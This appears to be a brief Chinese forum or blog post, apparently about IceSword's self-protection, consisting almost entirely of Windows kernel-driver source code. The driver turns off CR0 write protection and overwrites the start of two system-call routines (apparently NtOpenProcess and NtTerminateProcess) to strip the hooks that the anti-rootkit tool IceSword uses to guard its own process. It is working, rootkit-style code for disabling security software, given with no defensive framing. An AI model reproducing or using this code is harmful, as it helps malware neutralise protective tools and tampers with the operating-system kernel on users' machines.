IceSword自身进程保护的方法

CODE:

#include <ntddk.h>

#define DWORD unsigned long

unsigned char OldCode[5]="\x68\xc4\x00\x00\x00";
unsigned char OldCode2[5]="\x8b\xff\x55\x8b\xec";

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; 
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING 
theRegistryPath )
{
DWORD OpAddr,OpAddr2;

OpAddr=*(KeServiceDescriptorTable.ServiceTableBase + 0x7A);
OpAddr2=*(KeServiceDescriptorTable.ServiceTableBase + 0x101);

_asm
  {
    CLI 
    MOV   eax, CR0 
    AND eax, NOT 10000H 
    MOV   CR0, eax

    pushad
    mov edi, OpAddr
    mov eax, dword ptr OldCode[0]
    mov [edi], eax
    mov al, byte ptr OldCode[4]
    mov [edi+4], al
    mov edi, OpAddr2
    mov eax, dword ptr OldCode2[0]
    mov [edi], eax
    mov al, byte ptr OldCode2[4]
    mov [edi+4], al
    popad

    MOV   eax, CR0
    OR   eax, 10000H
    MOV   CR0, eax
    STI
}
        
return STATUS_SUCCESS;
}